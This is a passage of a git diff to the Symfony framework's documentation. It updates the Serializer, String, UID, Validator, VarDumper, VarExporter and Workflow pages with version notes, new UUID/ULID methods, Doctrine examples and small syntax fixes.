+        $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
+            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
+        ]);
+    } catch (PartialDenormalizationException $e) {
+        $violations = new ConstraintViolationList();
+        /** @var NotNormalizableValueException */
+        foreach ($e->getErrors() as $exception) {
+            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
+            $parameters = [];
+            if ($exception->canUseMessageForUser()) {
+                $parameters['hint'] = $exception->getMessage();
+            }
+            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
+        };
+
+        return $this->json($violations, 400);
+    }
+
+.. versionadded:: 5.4
+
+    The ``COLLECT_DENORMALIZATION_ERRORS`` option was introduced in Symfony 5.4.
+
 Handling Circular References
 ----------------------------
 
@@ -1091,6 +1353,20 @@ Here, we set it to 2 for the ``$child`` property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace Acme;
+
+        use Symfony\Component\Serializer\Annotation\MaxDepth;
+
+        class MyObj
+        {
+            #[MaxDepth(2)]
+            public $child;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         Acme\MyObj:
@@ -1100,7 +1376,7 @@ Here, we set it to 2 for the ``$child`` property:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -1234,115 +1510,6 @@ you indicate that you're expecting an array instead of a single object::
     $data = ...; // The serialized data from the previous example
     $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
 
-The ``XmlEncoder``
-------------------
-
-This encoder transforms arrays into XML and vice versa. For example, take an
-object normalized as following::
-
-    ['foo' => [1, 2], 'bar' => true];
-
-The ``XmlEncoder`` encodes this object as follows:
-
-.. code-block:: xml
-
-    <?xml version="1.0"?>
-    <response>
-        <foo>1</foo>
-        <foo>2</foo>
-        <bar>1</bar>
-    </response>
-
-The array keys beginning with ``@`` are considered XML attributes::
-
-    ['foo' => ['@bar' => 'value']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value"/>
-    // </response>
-
-Use the special ``#`` key to define the data of a node::
-
-    ['foo' => ['@bar' => 'value', '#' => 'baz']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value">baz</foo>
-    // </response>
-
-Context
-~~~~~~~
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the XmlEncoder an associative array::
-
-    $xmlEncoder->encode($array, 'xml', $context);
-
-These are the options available:
-
-``xml_format_output``
-    If set to true, formats the generated XML with line breaks and indentation.
-
-``xml_version``
-    Sets the XML version attribute (default: ``1.1``).
-
-``xml_encoding``
-    Sets the XML encoding attribute (default: ``utf-8``).
-
-``xml_standalone``
-    Adds standalone attribute in the generated XML (default: ``true``).
-
-``xml_root_node_name``
-    Sets the root node name (default: ``response``).
-
-``remove_empty_tags``
-    If set to true, removes all empty tags in the generated XML (default: ``false``).
-
-The ``CsvEncoder``
-------------------
-
-This encoder transforms arrays into CSV and vice versa.
-
-Context
-~~~~~~~
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the CsvEncoder an associative array::
-
-    $csvEncoder->encode($array, 'csv', $context);
-
-These are the options available:
-
-``csv_delimiter``
-    Sets the field delimiter separating values (one character only, default: ``,``).
-
-``csv_enclosure``
-    Sets the field enclosure (one character only, default: ``"``).
-
-``csv_escape_char``
-    Sets the escape character (at most one character, default: empty string).
-
-``csv_key_separator``
-    Sets the separator for array's keys during its flattening (default: ``.``).
-
-``csv_headers``
-    Sets the headers for the data (default: ``[]``, inferred from input data's keys).
-
-``csv_escape_formulas``
-    Escapes fields containg formulas by prepending them with a ``\t`` character (default: ``false``).
-
-``as_collection``
-    Always returns results as a collection, even if only one line is decoded.
-
-``no_headers``
-    Disables header in the encoded CSV (default: ``false``).
-
-``output_utf8_bom``
-    Outputs special `UTF-8 BOM`_ along with encoded data (default: ``false``).
-
 Handling Constructor Arguments
 ------------------------------
 
@@ -1505,7 +1672,24 @@ and ``BitBucketCodeRepository`` classes:
          *    "bitbucket"="App\BitBucketCodeRepository"
          * })
          */
-        interface CodeRepository
+        abstract class CodeRepository
+        {
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        namespace App;
+
+        use App\BitBucketCodeRepository;
+        use App\GitHubCodeRepository;
+        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
+
+        #[DiscriminatorMap(typeProperty: 'type', mapping: [
+            'github' => GitHubCodeRepository::class,
+            'bitbucket' => BitBucketCodeRepository::class,
+        ])]
+        abstract class CodeRepository
         {
             // ...
         }
@@ -1521,7 +1705,7 @@ and ``BitBucketCodeRepository`` classes:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -1543,32 +1727,6 @@ Once configured, the serializer uses the mapping to pick the correct class::
     $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');
     // instanceof GitHubCodeRepository
 
-Performance
------------
-
-To figure which normalizer (or denormalizer) must be used to handle an object,
-the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
-:method:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface::supportsNormalization`
-(or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`)
-of all registered normalizers (or denormalizers) in a loop.
-
-The result of these methods can vary depending on the object to serialize, the
-format and the context. That's why the result **is not cached** by default and
-can result in a significant performance bottleneck.
-
-However, most normalizers (and denormalizers) always return the same result when
-the object's type and the format are the same, so the result can be cached. To
-do so, make those normalizers (and denormalizers) implement the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
-and return ``true`` when
-:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod`
-is called.
-
-.. note::
-
-    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
-    as well the ones included in `API Platform`_ natively implement this interface.
-
 Learn more
 ----------
 
@@ -1592,6 +1750,8 @@ Learn more
 .. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/
 .. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
+.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
+.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
 .. _JSON: http://www.json.org/
 .. _XML: https://www.w3.org/XML/
 .. _YAML: https://yaml.org/
@@ -1601,3 +1761,4 @@ Learn more
 .. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
 .. _`API Platform`: https://api-platform.com
 .. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
diff --git a/components/string.rst b/components/string.rst
index 10c0ab43e66..d9d533880f9 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -8,6 +8,10 @@ The String Component
     The String component provides a single object-oriented API to work with
     three "unit systems" of strings: bytes, code points and grapheme clusters.
 
+.. versionadded:: 5.0
+
+    The String component was introduced in Symfony 5.0.
+
 Installation
 ------------
 
@@ -302,6 +306,21 @@ Methods to Pad and Trim
     u('   Lorem Ipsum   ')->trimStart(); // 'Lorem Ipsum   '
     u('   Lorem Ipsum   ')->trimEnd();   // '   Lorem Ipsum'
 
+    // removes the given content from the start/end of the string
+    u('file-image-0001.png')->trimPrefix('file-');           // 'image-0001.png'
+    u('file-image-0001.png')->trimPrefix('image-');          // 'file-image-0001.png'
+    u('file-image-0001.png')->trimPrefix('file-image-');     // '0001.png'
+    u('template.html.twig')->trimSuffix('.html');            // 'template.html.twig'
+    u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
+    u('template.html.twig')->trimSuffix('.html.twig');       // 'template'
+    // when passing an array of prefix/sufix, only the first one found is trimmed
+    u('file-image-0001.png')->trimPrefix(['file-', 'image-']); // 'image-0001.png'
+    u('template.html.twig')->trimSuffix(['.twig', '.html']);   // 'template.html'
+
+.. versionadded:: 5.4
+
+    The ``trimPrefix()`` and ``trimSuffix()`` methods were introduced in Symfony 5.4.
+
 Methods to Search and Replace
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -473,6 +492,12 @@ that only includes safe ASCII characters::
     $slug = $slugger->slug('10% or 5€');
     // $slug = '10-percent-or-5-euro'
 
+    // if there is no symbols map for your locale (e.g. 'en_GB') then the parent locale's symbols map
+    // will be used instead (i.e. 'en')
+    $slugger = new AsciiSlugger('en_GB', ['en' => ['%' => 'percent', '€' => 'euro']]);
+    $slug = $slugger->slug('10% or 5€');
+    // $slug = '10-percent-or-5-euro'
+
     // for more dynamic substitutions, pass a PHP closure instead of an array
     $slugger = new AsciiSlugger('en', function ($string, $locale) {
         return str_replace('❤️', 'love', $string);
@@ -486,6 +511,10 @@ that only includes safe ASCII characters::
 
     The feature to use a PHP closure to define substitutions was introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The feature to fallback to the parent locale's symbols map was introduced in Symfony 5.3.
+
 The separator between words is a dash (``-``) by default, but you can define
 another separator as the second argument::
 
diff --git a/components/uid.rst b/components/uid.rst
index 287789ac368..44521d52176 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -10,8 +10,7 @@ The UID Component
 
 .. versionadded:: 5.1
 
-    The UID component was introduced in Symfony 5.1 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The UID component was introduced in Symfony 5.1.
 
 Installation
 ------------
@@ -22,6 +21,8 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
+.. _uuid:
+
 UUIDs
 -----
 
@@ -54,26 +55,46 @@ to create each type of UUID::
     $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3
     $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5
 
+    // the namespaces defined by RFC 4122 (see https://tools.ietf.org/html/rfc4122#appendix-C)
+    // are available as PHP constants and as string values
+    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);  // same as: Uuid::v3('dns', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);  // same as: Uuid::v3('url', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);  // same as: Uuid::v3('oid', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name); // same as: Uuid::v3('x500', $name);
+
     // UUID type 6 is not part of the UUID standard. It's lexicographically sortable
     // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
     // It's defined in http://gh.peabody.io/uuidv6/
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
-If your UUID is generated by another system, use the ``fromString()`` method to
-create an object and make use of the utilities available for Symfony UUIDs::
+.. versionadded:: 5.3
+
+    The ``Uuid::NAMESPACE_*`` constants and the namespace string values (``'dns'``,
+    ``'url'``, etc.) were introduced in Symfony 5.3.
+
+If your UUID value is already generated in another format, use any of the
+following methods to create a ``Uuid`` object from it::
+
+    // all the following examples would generate the same Uuid object
+    $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+    $uuid = Uuid::fromBinary("\xd9\xe7\xa1\x84\x5d\x5b\x11\xea\xa6\x2a\x34\x99\x71\x00\x62\xd0");
+    $uuid = Uuid::fromBase32('6SWYGR8QAV27NACAHMK5RG0RPG');
+    $uuid = Uuid::fromBase58('TuetYWNHhmuSQ3xPoVLv9M');
+    $uuid = Uuid::fromRfc4122('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+
+.. versionadded:: 5.3
 
-    // this value is generated somewhere else (can also be in binary format)
-    $uuidValue = 'd9e7a184-5d5b-11ea-a62a-3499710062d0';
-    $uuid = Uuid::fromString($uuidValue);
+    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
+    methods were introduced in Symfony 5.3.
 
 Converting UUIDs
 ~~~~~~~~~~~~~~~~
 
 Use these methods to transform the UUID object into different bases::
 
-    $uuid = new Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+    $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
 
-    $uuid->toBinary();  // string(16) "..." (binary contents can't be printed)
+    $uuid->toBinary();  // string(16) "\xd9\xe7\xa1\x84\x5d\x5b\x11\xea\xa6\x2a\x34\x99\x71\x00\x62\xd0"
     $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"
     $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
@@ -97,9 +118,9 @@ UUID objects created with the ``Uuid`` class can use the following methods
     $uuid = Uuid::v4();
     $uuid instanceof UuidV4; // true
 
-    // getting the UUID time (it's only available in certain UUID types)
+    // getting the UUID datetime (it's only available in certain UUID types)
     $uuid = Uuid::v1();
-    $uuid->getTime();  // e.g. float(1584111384.2613)
+    $uuid->getDateTime();  // returns a \DateTimeImmutable instance
 
     // comparing UUIDs and checking for equality
     $uuid1 = Uuid::v1();
@@ -112,12 +133,16 @@ UUID objects created with the ``Uuid`` class can use the following methods
     //   * int < 0 if $uuid1 is less than $uuid4
     $uuid1->compare($uuid4); // e.g. int(4)
 
+.. versionadded:: 5.3
+
+    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
+    versions it was called ``getTime()``.
+
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store UUID values as any other regular string/binary values in the database.
-However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
-special Doctrine types which convert to/from UUID objects automatically::
+If you :doc:`use Doctrine </doctrine>`, consider using the ``uuid`` Doctrine
+type, which converts to/from UUID objects automatically::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -134,39 +159,73 @@ special Doctrine types which convert to/from UUID objects automatically::
          */
         private $someProperty;
 
-        /**
-         * @ORM\Column(type="uuid_binary")
-         */
-        private $anotherProperty;
-
         // ...
     }
 
-There's also a Doctrine generator to help autogenerate UUID values for the
-entity primary keys::
+.. versionadded:: 5.2
 
-    // there are generators for UUID V1 and V6 too
-    use Symfony\Bridge\Doctrine\IdGenerator\UuidV4Generator;
+    The UUID type was introduced in Symfony 5.2.
 
-    /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
-     */
-    class Product
+There is no generator to assign UUIDs automatically as the value of your entity
+primary keys, but you can use the following::
+
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Uid\Uuid;
+    // ...
+
+    class User implements UserInterface
     {
         /**
          * @ORM\Id
          * @ORM\Column(type="uuid", unique=true)
-         * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class=UuidV4Generator::class)
          */
         private $id;
 
+        public function __construct()
+        {
+            $this->id = Uuid::v4();
+        }
+
+        public function getId(): Uuid
+        {
+            return $this->id;
+        }
+
         // ...
     }
 
-.. versionadded:: 5.2
+When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
+knows how to convert these UUID types to build the SQL query
+(e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL
+queries or building the query yourself, you'll need to set ``uuid`` as the type
+of the UUID parameters::
+
+    // src/Repository/ProductRepository.php
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
+    {
+        // ...
+
+        public function findUserProducts(User $user): array
+        {
+            $qb = $this->createQueryBuilder('p')
+                // ...
+                // add 'uuid' as the third argument to tell Doctrine that this is a UUID
+                ->setParameter('user', $user->getUuid(), 'uuid')
+
+                // alternatively, you can convert it to a value compatible with
+                // the type inferred by Doctrine
+                ->setParameter('user', $user->getUuid()->toBinary())
+            ;
 
-    The UUID types and generators were introduced in Symfony 5.2.
+            // ...
+        }
+    }
+
+.. _ulid:
 
 ULIDs
 -----
@@ -179,6 +238,13 @@ ULIDs are an alternative to UUIDs when using those is impractical. They provide
 128-bit compatibility with UUID, they are lexicographically sortable and they
 are encoded as 26-character strings (vs 36-character UUIDs).
 
+.. note::
+
+    If you generate more than one ULID during the same millisecond in the
+    same process then the random portion is incremented by one bit in order
+    to provide monotonicity for sorting. The random portion is not random
+    compared to the previous ULID in this case.
+
 Generating ULIDs
 ~~~~~~~~~~~~~~~~
 
@@ -188,12 +254,31 @@ Instantiate the ``Ulid`` class to generate a random ULID value::
 
     $ulid = new Ulid();  // e.g. 01AN4Z07BY79KA1307SR9X4MV3
 
-If your ULID is generated by another system, use the ``fromString()`` method to
-create an object and make use of the utilities available for Symfony ULIDs::
+If your ULID value is already generated in another format, use any of the
+following methods to create a ``Ulid`` object from it::
+
+    // all the following examples would generate the same Ulid object
+    $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8');
+    $ulid = Ulid::fromBinary("\x01\x71\x06\x9d\x59\x3d\x97\xd3\x8b\x3e\x23\xd0\x6d\xe5\xb3\x08");
+    $ulid = Ulid::fromBase32('01E439TP9XJZ9RPFH3T1PYBCR8');
+    $ulid = Ulid::fromBase58('1BKocMc5BnrVcuq2ti4Eqm');
+    $ulid = Ulid::fromRfc4122('0171069d-593d-97d3-8b3e-23d06de5b308');
+
+.. versionadded:: 5.3
+
+    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
+    methods were introduced in Symfony 5.3.
+
+There's also a special ``NilUlid`` class to represent ULID ``null`` values::
 
-    // this value is generated somewhere else (can also be in binary format)
-    $ulidValue = '01E439TP9XJZ9RPFH3T1PYBCR8';
-    $ulid = Ulid::fromString($ulidValue);
+    use Symfony\Component\Uid\NilUlid;
+
+    $ulid = new NilUlid();
+    // equivalent to $ulid = new Ulid('00000000000000000000000000');
+
+.. versionadded:: 5.4
+
+    The ``NilUlid`` class was introduced in Symfony 5.4.
 
 Converting ULIDs
 ~~~~~~~~~~~~~~~~
@@ -202,7 +287,7 @@ Use these methods to transform the ULID object into different bases::
 
     $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8');
 
-    $ulid->toBinary();  // string(16) "..." (binary contents can't be printed)
+    $ulid->toBinary();  // string(16) "\x01\x71\x06\x9d\x59\x3d\x97\xd3\x8b\x3e\x23\xd0\x6d\xe5\xb3\x08"
     $ulid->toBase32();  // string(26) "01E439TP9XJZ9RPFH3T1PYBCR8"
     $ulid->toBase58();  // string(22) "1BKocMc5BnrVcuq2ti4Eqm"
     $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"
@@ -220,20 +305,24 @@ ULID objects created with the ``Ulid`` class can use the following methods::
     // checking if a given value is valid as ULID
     $isValid = Ulid::isValid($ulidValue); // true or false
 
-    // getting the ULID time
-    $ulid1->getTime(); // e.g. float(1584111384.2613)
+    // getting the ULID datetime
+    $ulid1->getDateTime(); // returns a \DateTimeImmutable instance
 
     // comparing ULIDs and checking for equality
     $ulid1->equals($ulid2); // false
     // this method returns $ulid1 <=> $ulid2
     $ulid1->compare($ulid2); // e.g. int(-1)
 
+.. versionadded:: 5.3
+
+    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
+    versions it was called ``getTime()``.
+
 Storing ULIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store ULID values as any other regular string/binary values in the database.
-However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
-special Doctrine types which convert to/from ULID objects automatically::
+If you :doc:`use Doctrine </doctrine>`, consider using the ``ulid`` Doctrine
+type, which converts to/from ULID objects automatically::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -250,11 +339,6 @@ special Doctrine types which convert to/from ULID objects automatically::
          */
         private $someProperty;
 
-        /**
-         * @ORM\Column(type="ulid_binary")
-         */
-        private $anotherProperty;
-
         // ...
     }
 
@@ -262,6 +346,7 @@ There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 
     use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
+    use Symfony\Component\Uid\Ulid;
 
     /**
      * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
@@ -270,18 +355,165 @@ entity primary keys::
     {
         /**
          * @ORM\Id
-         * @ORM\Column(type="uuid", unique=true)
+         * @ORM\Column(type="ulid", unique=true)
          * @ORM\GeneratedValue(strategy="CUSTOM")
          * @ORM\CustomIdGenerator(class=UlidGenerator::class)
          */
         private $id;
 
         // ...
+
+        public function getId(): ?Ulid
+        {
+            return $this->id;
+        }
+
+        // ...
+
     }
 
 .. versionadded:: 5.2
 
-    The ULID types and generator were introduced in Symfony 5.2.
+    The ULID type and generator were introduced in Symfony 5.2.
+
+When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
+knows how to convert these ULID types to build the SQL query
+(e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL
+queries or building the query yourself, you'll need to set ``ulid`` as the type
+of the ULID parameters::
+
+    // src/Repository/ProductRepository.php
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
+    {
+        // ...
+
+        public function findUserProducts(User $user): array
+        {
+            $qb = $this->createQueryBuilder('p')
+                // ...
+                // add 'ulid' as the third argument to tell Doctrine that this is a ULID
+                ->setParameter('user', $user->getUlid(), 'ulid')
+
+                // alternatively, you can convert it to a value compatible with
+                // the type inferred by Doctrine
+                ->setParameter('user', $user->getUlid()->toBinary())
+            ;
+
+            // ...
+        }
+    }
+
+Generating and Inspecting UUIDs/ULIDs in the Console
+----------------------------------------------------
+
+.. versionadded:: 5.3
+
+    The commands to inspect and generate UUIDs/ULIDs were introduced in Symfony 5.3.
+
+This component provides several commands to generate and inspect UUIDs/ULIDs in
+the console. They are not enabled by default, so you must add the following
+configuration in your application before using these commands:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            Symfony\Component\Uid\Command\GenerateUlidCommand: ~
+            Symfony\Component\Uid\Command\GenerateUuidCommand: ~
+            Symfony\Component\Uid\Command\InspectUlidCommand: ~
+            Symfony\Component\Uid\Command\InspectUuidCommand: ~
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="Symfony\Component\Uid\Command\GenerateUlidCommand"/>
+                <service id="Symfony\Component\Uid\Command\GenerateUuidCommand"/>
+                <service id="Symfony\Component\Uid\Command\InspectUlidCommand"/>
+                <service id="Symfony\Component\Uid\Command\InspectUuidCommand"/>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Uid\Command\GenerateUlidCommand;
+        use Symfony\Component\Uid\Command\GenerateUuidCommand;
+        use Symfony\Component\Uid\Command\InspectUlidCommand;
+        use Symfony\Component\Uid\Command\InspectUuidCommand;
+
+        return static function (ContainerConfigurator $configurator): void {
+            // ...
+
+            $services
+                ->set(GenerateUlidCommand::class)
+                ->set(GenerateUuidCommand::class)
+                ->set(InspectUlidCommand::class)
+                ->set(InspectUuidCommand::class);
+        };
+
+Now you can generate UUIDs/ULIDs as follows (add the ``--help`` option to the
+commands to learn about all their options):
+
+.. code-block:: terminal
+
+    # generate 1 random-based UUID
+    $ php bin/console uuid:generate --random-based
+
+    # generate 1 time-based UUID with a specific node
+    $ php bin/console uuid:generate --time-based=now --node=fb3502dc-137e-4849-8886-ac90d07f64a7
+
+    # generate 2 UUIDs and output them in base58 format
+    $ php bin/console uuid:generate --count=2 --format=base58
+
+    # generate 1 ULID with the current time as the timestamp
+    $ php bin/console ulid:generate
+
+    # generate 1 ULID with a specific timestamp
+    $ php bin/console ulid:generate --time="2021-02-02 14:00:00"
+
+    # generate 2 ULIDs and ouput them in RFC4122 format
+    $ php bin/console ulid:generate --count=2 --format=rfc4122
+
+In addition to generating new UIDs, you can also inspect them with the following
+commands to show all the information for a given UID:
+
+.. code-block:: terminal
+
+    $ php bin/console uuid:inspect d0a3a023-f515-4fe0-915c-575e63693998
+     ---------------------- --------------------------------------
+      Label                  Value
+     ---------------------- --------------------------------------
+      Version                4
+      Canonical (RFC 4122)   d0a3a023-f515-4fe0-915c-575e63693998
+      Base 58                SmHvuofV4GCF7QW543rDD9
+      Base 32                6GMEG27X8N9ZG92Q2QBSHPJECR
+     ---------------------- --------------------------------------
+
+    $ php bin/console ulid:inspect 01F2TTCSYK1PDRH73Z41BN1C4X
+     --------------------- --------------------------------------
+      Label                 Value
+     --------------------- --------------------------------------
+      Canonical (Base 32)   01F2TTCSYK1PDRH73Z41BN1C4X
+      Base 58               1BYGm16jS4kX3VYCysKKq6
+      RFC 4122              0178b5a6-67d3-0d9b-889c-7f205750b09d
+     --------------------- --------------------------------------
+      Timestamp             2021-04-09 08:01:24.947
+     --------------------- --------------------------------------
 
 .. _`unique identifiers`: https://en.wikipedia.org/wiki/UID
 .. _`UUIDs`: https://en.wikipedia.org/wiki/Universally_unique_identifier
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 7f9b02fb544..cd02404f765 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -106,14 +106,15 @@ prefixed classes included in doc block comments (``/** ... */``). For example::
     }
 
 To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping`
-method. It takes an optional annotation reader instance, which defaults to
-``Doctrine\Common\Annotations\AnnotationReader``::
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method
+and then call ``addDefaultDoctrineAnnotationReader()`` to use Doctrine's
+annotation reader::
 
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping()
+        ->enableAnnotationMapping(true)
+        ->addDefaultDoctrineAnnotationReader()
         ->getValidator();
 
 To disable the annotation loader after it was enabled, call
@@ -134,7 +135,8 @@ multiple mappings::
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping()
+        ->enableAnnotationMapping(true)
+        ->addDefaultDoctrineAnnotationReader()
         ->addMethodMapping('loadValidatorMetadata')
         ->addXmlMapping('validator/validation.xml')
         ->getValidator();
@@ -155,7 +157,7 @@ implement the PSR-6 interface :class:`Psr\\Cache\\CacheItemPoolInterface`)::
 
     $validator = Validation::createValidatorBuilder()
         // ... add loaders
-        ->setMappingCache(new SomePsr6Cache());
+        ->setMappingCache(new SomePsr6Cache())
         ->getValidator();
 
 .. note::
diff --git a/components/var_dumper/advanced.rst b/components/var_dumper/advanced.rst
index 0f429c52012..ded04cca902 100644
--- a/components/var_dumper/advanced.rst
+++ b/components/var_dumper/advanced.rst
@@ -200,7 +200,7 @@ method::
     $dumper->dump($var, $output, [
         // 1 and 160 are the default values for these options
         'maxDepth' => 1,
-        'maxStringLength' => 160
+        'maxStringLength' => 160,
     ]);
 
 The output format of a dumper can be fine tuned by the two flags
@@ -223,7 +223,7 @@ next to its content::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper();
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
@@ -248,7 +248,7 @@ similar to PHP's short array notation::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper();
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
@@ -273,7 +273,7 @@ using the logical OR operator ``|``::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH | AbstractDumper::DUMP_LIGHT_ARRAY);
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index bf8f9b1f85a..2e9ab500169 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -120,12 +120,12 @@ created by using the special ``"\0"`` property name to define their internal val
 
     // Creates an SplObjectHash where $info1 is associated to $object1, etc.
     $theObject = Instantiator::instantiate(SplObjectStorage::class, [
-        "\0" => [$object1, $info1, $object2, $info2...]
+        "\0" => [$object1, $info1, $object2, $info2...],
     ]);
 
     // creates an ArrayObject populated with $inputArray
     $theObject = Instantiator::instantiate(ArrayObject::class, [
-        "\0" => [$inputArray]
+        "\0" => [$inputArray],
     ]);
 
 .. _`OPcache`: https://www.php.net/opcache
diff --git a/components/workflow.rst b/components/workflow.rst
index a35602f1ac2..67b00730b69 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -68,8 +68,8 @@ are trying to use it with::
     use Symfony\Component\Workflow\Registry;
     use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
 
-    $blogPostWorkflow = ...
-    $newsletterWorkflow = ...
+    $blogPostWorkflow = ...;
+    $newsletterWorkflow = ...;
 
     $registry = new Registry();
     $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
